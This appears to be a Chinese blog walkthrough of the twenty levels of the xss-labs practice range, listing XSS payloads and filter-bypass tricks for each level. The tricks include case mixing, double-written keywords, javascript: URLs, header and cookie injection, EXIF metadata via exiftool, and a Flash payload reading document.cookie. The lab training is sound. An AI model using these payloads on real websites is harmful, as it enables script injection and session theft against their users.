XSS-change通关历程
Level1:没有过滤。
<script>alert(1)</script>
<svg/onload=alert(1)>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert(1)</script>
1、alert(),最简单的提示框:
alert("你好!");
2、confirm(),有确认和取消两个按钮:
if(confirm("还有继续吗?")){
alert("继续");
}else{
alert("再见");
}
3、prompt(),可以输入信息:
var name = prompt("你的名字是:");
alert("你好," + name);
Level2:加入了输入框,对输入的进行了文本的转义,须要在payload中对前段代码进行闭合。
”><script>alert(1)</script>
Level3:查看源码,过滤了<>符号、“符号,用到了一个过滤函数htmlspecialchars(),这个函数把预定义的字符转换为HTML实体,“>”和“<”转义了,属于黑名单绕过。
"'onclick=alert(1)//
“‘onmouseover=alert(3)//
Level4:
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
此函数是将变量str中的字符>转换为空,转换时区分大小写;同样也把<转换为空,然后再经过函数的过滤转化。
"onfocus=alert(4) autofocus="
"onclick=alert(1)//
onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
Level5:根据源码,发现将<script 和on都加上了_,在$str=strtollwer函数中,将输入的内容转化为小写,使得php无法读取执行,但是并没有过滤掉<>符号。
"><iframe src=javascript:alert(5)>
"> <a href="jacascript:alert(5)">click me!!!</a>
"> <a href="javascript:alert(5)">click me !!!</a> //
Level6:通过源码发现过滤了很多字符,和之前源代码相比,发现没有对大小写的拦截和更改。
"> <SCRIpt>alert(6)</SCriPT>
"> <img Src=a ONerrOR=alert(6)>//
"> <a HrEf="javascript:alert(6)">click me!!!</a>//
"><svg x="" ONclick=alert(6)>
" ONclick=alert(6) //
Level7:根据代码的分析,script on src data href 都被替换为空,大小写也被约束了,可使用双写绕过法。
"><scscriptript>alert(7)<sriscriptpt>
" oonnmouseover=alert(7)//
"><a hrhrefef=javascrscriptipt:alert(7)>CLICK ME !!!</a>//
Level8:script on src data href “ 大小写过滤并且编码,但是尖括号><,单引号',%,#,&符号并没有被过滤,输出点在a标签内,href属性中,属性里的双引号被转换成HTML实体,无法截断属性,这里可以使用伪协议绕过javascript:alert,由于script关键字被过滤,javascript会被替换成javasc_ript,使用r来代替r,伪协议后面可以使用URL编码进行编码。
javascript:alert(8)
javascript:%61lert(8)
javascript:%61lert`1`
javascript:alert`1`
Level9:和level8差不多,不同的是下面多了自动检测url,如果发现没有带http://内容则会显示不合法。
javascript:alert(9)//http://a.com // 利用注释
javascript:%0dhttp://a.com%0dalert(9) // 不利用注释
javascript:%0ahttp://a.com%0dalert(9) // 不利用注释
Level10:分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,可以从隐藏的输入框下手,构造payload。
keyword=test&t_sort="type="text" onclick="alert(10)
Level11:分析代码,相比上一关,多了一个str11=$_SERVER['HTTP_REFERER'];验证的是http头部的xss注入,使用burp抓包,修改相应的字段,构造http头部referer的payload。头部本身没有Referer,自行添加
Referer:" onmouseover=alert(11) type="text"
Referer:" onclick="alert(11)" type="text
Level12:查看代码,str11=_SERVER['HTTP_USER_AGENT'];应该是User-Agent的http头部注入,burp抓包,构造头部User-Agent的payload。
User-Agent:" onmouseover=alert(12) type="text"
User-Agent:" onclick="alert(12)" type="text
Level13:查看代码,属于cookie类型的xss注入,setcookie("user", "call me maybe?", time()+3600);构建payload
Cookie:" onmouseover=alert(13) type="text"
Cookie:" onclick="alert(13)" type="text
Level14:查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
Level15:查看代码,这一关是关于angular js的知识,ng-include有包含文件的意思,也就是相当于php里面的include,此处可以包含第一关的页面。构建payload:
在url处写入语句
src='level1.php?name=<img src=x onerror=alert(1)>'
Level16:查看代码发现大小写绕过失效,script、/、,等都被转换成 ,这时,可以尝试使用%0a,%0d来进行绕过。构建payload:
Keyword=<img%0dsrc=a%0donerror=alert(16)>
Keyword=<iframe%0dsrc=0%0donmouseover=alert`16`></iframe>
Keyword=<svg%0aonload=alert`16`></svg>
Level17:直接在embed标签插入onmouseover事件,payload
arg01=a&arg02=%20onmouseover=alert`1`
Level18:和Level17一样,采用相同的payload
Level19:Flash xss,对比插入语句前和插入语句后时的源码,flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数, 追踪到sIFR的内容, 得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,分析contentIsLink函数,所以构建payloaf
http://localhost/xss_test/level19.php?arg01=version&arg02=<ahref="javascript:alert(1)">111111</a>
http://localhost/xss_test/level19.php??arg01=version&arg02=<ahref="javascript:alert(document.domain)">xss_by_didi</a>
Level20:将swf下载下来分析得知是zeroclipboard.swf,有漏洞详情,因此构造出的payload
?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
后半部分摘自@https://www.cnblogs.com/xydd/p/11657739.html
XSS-change通关历程的更多相关文章
- DVWA XSS (Reflected) 通关教程
XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...
- DVWA XSS (Stored) 通关教程
Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- SQLi_Labs通关文档【1-65关】
SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...
- upload-labs通关历程
使用靶场前,先配置php版本为5.2,和下列对应配置. php.ini magic_quotes_gpc Off php<5.3.4 httpd.conf AddType applicatio ...
- XSS-labs通关挑战(xss challenge)
XSS-labs通关挑战(xss challenge) 0x00 xss-labs 最近在看xss,今天也就来做一下xss-labs通过挑战.找了好久的源码,终于被我给找到了,因为在GitHub上 ...
- xss靶场大通关(持续更新ing)
xss秘籍第一式(常弹) (1)进入自己搭建的靶场,发现有get请求,参数为name,可进行输入,并会将输入的内容显示于网页页面 (2)使用xss的payload进行通关: http://127. ...
- Pikachu靶场通关之XSS(跨站脚本)
一.XSS(跨站脚本)概述 Cross-Site Scripting 简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS.一般XSS可以 ...
- XSS小游戏通关Writeup
源码下载:https://files.cnblogs.com/files/nul1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip 我也没啥可 ...
随机推荐
- 以NGK 呼叫河马为例分析智能合约漏洞在哪?
合约交易是指买方和卖方根据约定,在未来某一时刻,以指定价格接受某一资产的协议. 合约是买卖双方之间权利义务的表现形式.合约交易是一种金融衍生工具,与现货市场相比,用户通过判断期货合约交易的涨跌,选择买 ...
- 在多线程编程中不要使用sleep()、usleep()函数
这两个函数是非线程安全的,可能会造成程序卡死. 对于c++程序,建议使用std::this_thread::sleep_for()和std::this_thread::yield()代替. 纯c程序可 ...
- Java并发包源码学习系列:同步组件CyclicBarrier源码解析
目录 CyclicBarrier概述 案例学习 类图结构及重要字段 内部类Generation及相关方法 void reset() void breakBarrier() void nextGener ...
- Linux文件和零拷贝
本文转载自文件和零拷贝 文件概述 文件描述符 文件描述符:在Linux中,所有的文件都是通过文件描述符引用.fd是一个非负整数.按照惯例,标准输入的fd是0,标准输出的fd是1,标准错误的fd是2.分 ...
- oracle创建和删除序列
创建序列语法: CREATE SEQUENCE 序列名 [START WITH n] [INCREMENT BY n] [{MINVALUE n}] [{MAXVALUE n|NOMAXVALUE}] ...
- vuex中辅助函数的使用方法
mapState import { mapState } from 'vuex' export default { // ... computed:{ ...mapState({ // 箭头函数可使代 ...
- 001-深度学习Pytorch环境搭建(Anaconda , PyCharm导入)
001-深度学习Pytorch环境搭建(Anaconda , PyCharm导入) 在开始搭建之前我们先说一下本次主要安装的东西有哪些. anaconda 3:第三方包管理软件. 这个玩意可以看作是一 ...
- 操作系统---IO权限管理和敏感指令
简化版 使用IOPL设置一个特权级的用户程序对所有端口的访问权限,使用I/O位图对一个特权级的用户程序设置个性化的端口访问权限(能访问部分端口.不能访问另外的端口). 用户程序的CPL<IOPL ...
- HDOJ-1560(迭代加深搜索问题)
DNA sequence HDOJ-1560 *本题是迭代加深搜索问题,主要是要理解题目,题目中一定是有解的,所以为了找最小的解,可以从小的搜索深度开始逐渐增加. *这里有个技巧就是,如果本次指定开始 ...
- 2020年12月-第01阶段-前端基础-表格 table
表格 table(会使用) 为了让我们页面显示的更加整齐,我们需要学习三个表(表格.表单.列表) 理解: 能说出表格用来做什么的 表格的基本结构组成 表格作用: 存在即是合理的. 表格的现在还是较为常 ...